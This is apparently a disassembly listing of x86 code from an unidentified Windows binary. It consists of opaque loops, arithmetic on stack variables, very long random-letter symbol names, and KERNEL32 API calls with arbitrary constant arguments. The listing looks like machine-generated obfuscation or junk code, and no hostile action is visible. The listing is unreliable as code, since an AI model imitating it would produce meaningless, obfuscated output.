QtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov dword [ebp - 0x8c], 0
jmp 0x41efcd
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x3507
cmp dword [ebp - 0x8c], edx
jge 0x41f0a8
mov eax, dword [0x51a87c]
cmp eax, dword [ebp - 0x60]
jge 0x41eff8
mov dword [ebp - 0x5e4], 1
jmp 0x41f002
mov dword [ebp - 0x5e4], 0
mov ecx, dword [0x51a8a8]
mov dword [ebp - 0x139c], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x13a0], edx
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x139c]
cmp ecx, dword [ebp - 0x13a0]
jge 0x41f03a
mov dword [ebp - 0x5dc], 1
jmp 0x41f044
mov dword [ebp - 0x5dc], 0
mov edx, dword [ebp - 0x38]
xor edx, dword [ebp - 0x24]
mov dword [ebp - 0x13a4], edx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x13a8], eax
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x13a4]
cmp edx, dword [ebp - 0x13a8]
jge 0x41f07c
mov dword [ebp - 0x5e0], 1
jmp 0x41f086
mov dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x5dc]
and eax, dword [ebp - 0x5e0]
or eax, dword [ebp - 0x5e4]
je 0x41f0a3
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x41efbe
mov edx, dword [ebp + 0x18]
xor edx, 0x88a9
or edx, 0x582
xor edx, 0x415a3cd1
mov eax, 0x26f5
sub eax, dword [ebp + 0x24]
xor eax, 0x6890
xor eax, 0x9351
xor eax, 0xf7ec
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x2024
push edx
mov eax, dword [0x51a87c]
add eax, 0x9b80
push eax
mov ecx, dword [0x51a8b8]
sub ecx, 0x5bf3
push ecx
mov edx, dword [ebp - 0x50]
sub edx, 0x7ff3
push edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x4109
push eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x14d0
push ecx
mov edx, dword [0x51a884]
sub edx, 0x7b55
push edx
mov eax, dword [ebp - 0x24]
sub eax, 0x4881
push eax
call fcn.00416f20
add esp, 0x20
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp + 0x18]
or edx, 0xf1d8
xor edx, 0x4c48b386
mov eax, dword [ebp + 0x14]
xor eax, 0xba59
and eax, 0xd4c7
xor eax, 0x746
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov dword [ebp - 0x90], 0
jmp 0x41f18b
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 0x15dd5
cmp dword [ebp - 0x90], edx
jge 0x41f203
mov eax, dword [ebp - 0x20]
cmp eax, dword [0x51a8bc]
jge 0x41f1b3
mov dword [ebp - 0x5e8], 1
jmp 0x41f1bd
mov dword [ebp - 0x5e8], 0
mov ecx, dword [0x51a8a8]
cmp ecx, dword [0x51a8b8]
jge 0x41f1d7
mov dword [ebp - 0x5ec], 1
jmp 0x41f1e1
mov dword [ebp - 0x5ec], 0
mov edx, dword [ebp - 0x2c]
xor edx, dword [ebp - 0x38]
and edx, dword [ebp - 0x5e8]
or edx, dword [ebp - 0x5ec]
je 0x41f1fe
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
jmp 0x41f17c
mov dword [ebp - 0x94], 0
jmp 0x41f21e
mov ecx, dword [ebp - 0x94]
add ecx, 1
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0xabf0
cmp dword [ebp - 0x94], edx
jge 0x41f23a
mov eax, dword [ebp - 0x54]
sub eax, 1
mov dword [ebp - 0x54], eax
jmp 0x41f20f
call fcn.004150c0
mov dword [ebp - 0x98], 0
jmp 0x41f25a
mov ecx, dword [ebp - 0x98]
add ecx, 1
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 0xd7ba
cmp dword [ebp - 0x98], edx
jge 0x41f3cf
mov eax, dword [0x51a8b8]
mov dword [ebp - 0x13ac], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x13b0], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x13ac]
cmp eax, dword [ebp - 0x13b0]
jge 0x41f2a6
mov dword [ebp - 0x5f0], 1
jmp 0x41f2b0
mov dword [ebp - 0x5f0], 0
mov ecx, dword [ebp - 0x14]
and ecx, dword [ebp - 0x5f0]
xor ecx, dword [ebp - 0x20]
je 0x41f3ca
mov edx, dword [0x51a874]
cmp edx, dword [ebp - 0x28]
jne 0x41f3ca
mov eax, dword [0x51a884]
cmp eax, dword [0x51a85c]
jne 0x41f3ca
mov ecx, dword [ebp - 0x40]
cmp ecx, dword [ebp - 0x54]
jne 0x41f3ca
mov edx, dword [ebp - 0xc]
imul edx, dword [0x51a880]
cmp edx, dword [ebp - 0x3c]
jge 0x41f309
mov dword [ebp - 0x5f4], 1
jmp 0x41f313
mov dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x44]
xor eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x5f4]
je 0x41f3ca
mov ecx, dword [0x51a85c]
cmp ecx, dword [0x51a86c]
jne 0x41f3ca
mov edx, dword [0x51a8bc]
cmp edx, dword [ebp - 0x10]
jne 0x41f3ca
mov eax, dword [0x51a884]
cmp eax, dword [0x51a8c0]
jne 0x41f3ca
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [0x51a8c0]
jne 0x41f3ca
mov edx, dword [ebp - 0x18]
cmp edx, dword [0x51a87c]
jne 0x41f3ca
push 0x156d2
push 0xc51b
push 0x9eca
push 0x4efc
push 0xe1af
push 0x141b2
push 0xae3b
push 0x16049
push 0x12b5f
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryInProgress]
add esp, 0x24
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
push 0x14a20
push 0xe368
push 0x6854
push 0x15e72
push 0xcd31
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryInProgress]
add esp, 0x14
jmp 0x41f24b
mov ecx, dword [ebp + 0x10]
add ecx, 0x8abc
xor ecx, 0x594fb1fb
mov edx, dword [ebp + 8]
xor edx, 0x3de6
xor edx, 0xdcc5
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov dword [ebp - 0x9c], 0
jmp 0x41f40e
mov eax, dword [ebp - 0x9c]
add eax, 1
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x81e7
cmp dword [ebp - 0x9c], ecx
jge 0x41f42a
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
jmp 0x41f3ff
mov eax, dword [ebp + 0x10]
and eax, 0xd958
add eax, 0x2fa
or eax, 0x6f55
xor eax, 0x71532926
mov ecx, dword [ebp + 0x18]
add ecx, 0x2607
xor ecx, 0x9e6f
xor ecx, 0x19d2e
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov edx, dword [ebp - 0x58]
add edx, 0x6389
push edx
mov eax, dword [ebp - 0x54]
sub eax, 0x1037
push eax
call fcn.00411d90
add esp, 8
mov dword [ebp - 0xa0], 0
jmp 0x41f492
mov ecx, dword [ebp - 0xa0]
add ecx, 1
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0x3c]
sub edx, 0x61a6
cmp dword [ebp - 0xa0], edx
jge 0x41f5da
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x18]
jge 0x41f4bb
mov dword [ebp - 0x5f8], 1
jmp 0x41f4c5
mov dword [ebp - 0x5f8], 0
mov ecx, dword [0x51a85c]
and ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x1c]
jge 0x41f4df
mov dword [ebp - 0x5fc], 1
jmp 0x41f4e9
mov dword [ebp - 0x5fc], 0
mov edx, dword [ebp - 0x20]
cmp edx, dword [0x51a8c4]
jge 0x41f500
mov dword [ebp - 0x600], 1
jmp 0x41f50a
mov dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x5f8]
and eax, dword [ebp - 0x5fc]
xor eax, dword [ebp - 0x28]
or eax, dword [ebp - 0x600]
je 0x41f5d5
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [0x51a8c4]
jge 0x41f545
mov dword [ebp - 0x604], 1
jmp 0x41f54f
mov dword [ebp - 0x604], 0
mov eax, dword [0x51a8cc]
sub eax, dword [ebp - 8]
and eax, dword [ebp - 0x604]
mov dword [ebp - 0x13b4], eax
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x13b4], 0
je 0x41f5d5
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x50]
jge 0x41f592
mov dword [ebp - 0x608], 1
jmp 0x41f59c
mov dword [ebp - 0x608], 0
mov ecx, dword [0x51a87c]
and ecx, dword [0x51a880]
or ecx, dword [ebp - 0x608]
mov dword [ebp - 0x13b8], ecx
mov edx, dword [0x51a880]
sub edx, 1
mov dword [0x51a880], edx
cmp dword [ebp - 0x13b8], 0
je 0x41f5d5
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
jmp 0x41f483
mov ecx, dword [ebp - 0x24]
sub ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x13bc], edx
mov eax, dword [0x51a8bc]
mov dword [ebp - 0x13c0], eax
mov ecx, dword [0x51a8bc]
add ecx, 1
mov dword [0x51a8bc], ecx
mov edx, dword [ebp - 0x13bc]
cmp edx, dword [ebp - 0x13c0]
jge 0x41f620
mov dword [ebp - 0x610], 1
jmp 0x41f62a
mov dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x13c4], eax
mov ecx, dword [0x51a880]
mov dword [ebp - 0x13c8], ecx
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x13c4]
cmp eax, dword [ebp - 0x13c8]
jge 0x41f662
mov dword [ebp - 0x60c], 1
jmp 0x41f66c
mov dword [ebp - 0x60c], 0
mov ecx, dword [0x51a86c]
cmp ecx, dword [ebp - 0x4c]
jge 0x41f683
mov dword [ebp - 0x614], 1
jmp 0x41f68d
mov dword [ebp - 0x614], 0
mov edx, dword [ebp - 0x60c]
and edx, dword [ebp - 0x18]
or edx, dword [ebp - 0x610]
or edx, dword [ebp - 0x614]
je 0x41f845
mov eax, dword [ebp - 0x30]
cmp eax, dword [0x51a87c]
jne 0x41f845
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp - 0x44]
jne 0x41f845
mov edx, dword [ebp - 0x58]
cmp edx, dword [0x51a874]
jne 0x41f845
mov eax, dword [0x51a85c]
cmp eax, dword [ebp - 0x44]
jne 0x41f845
mov ecx, dword [0x51a8c0]
cmp ecx, dword [ebp - 0x60]
jne 0x41f845
push 0x18012
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSizeEx]
add esp, 4
mov edx, dword [ebp - 4]
sub edx, dword [0x51a8b8]
mov dword [ebp - 0x13cc], edx
mov eax, dword [0x51a86c]
mov dword [ebp - 0x13d0], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x13cc]
cmp edx, dword [ebp - 0x13d0]
jge 0x41f73a
mov dword [ebp - 0x618], 1
jmp 0x41f744
mov dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [0x51a884]
jge 0x41f75b
mov dword [ebp - 0x61c], 1
jmp 0x41f765
mov dword [ebp - 0x61c], 0
mov ecx, dword [ebp - 0x618]
or ecx, dword [ebp - 0x61c]
je 0x41f832
mov edx, dword [0x51a85c]
imul edx, dword [0x51a880]
mov eax, dword [0x51a878]
xor eax, dword [ebp - 0x58]
mov ecx, dword [0x51a8bc]
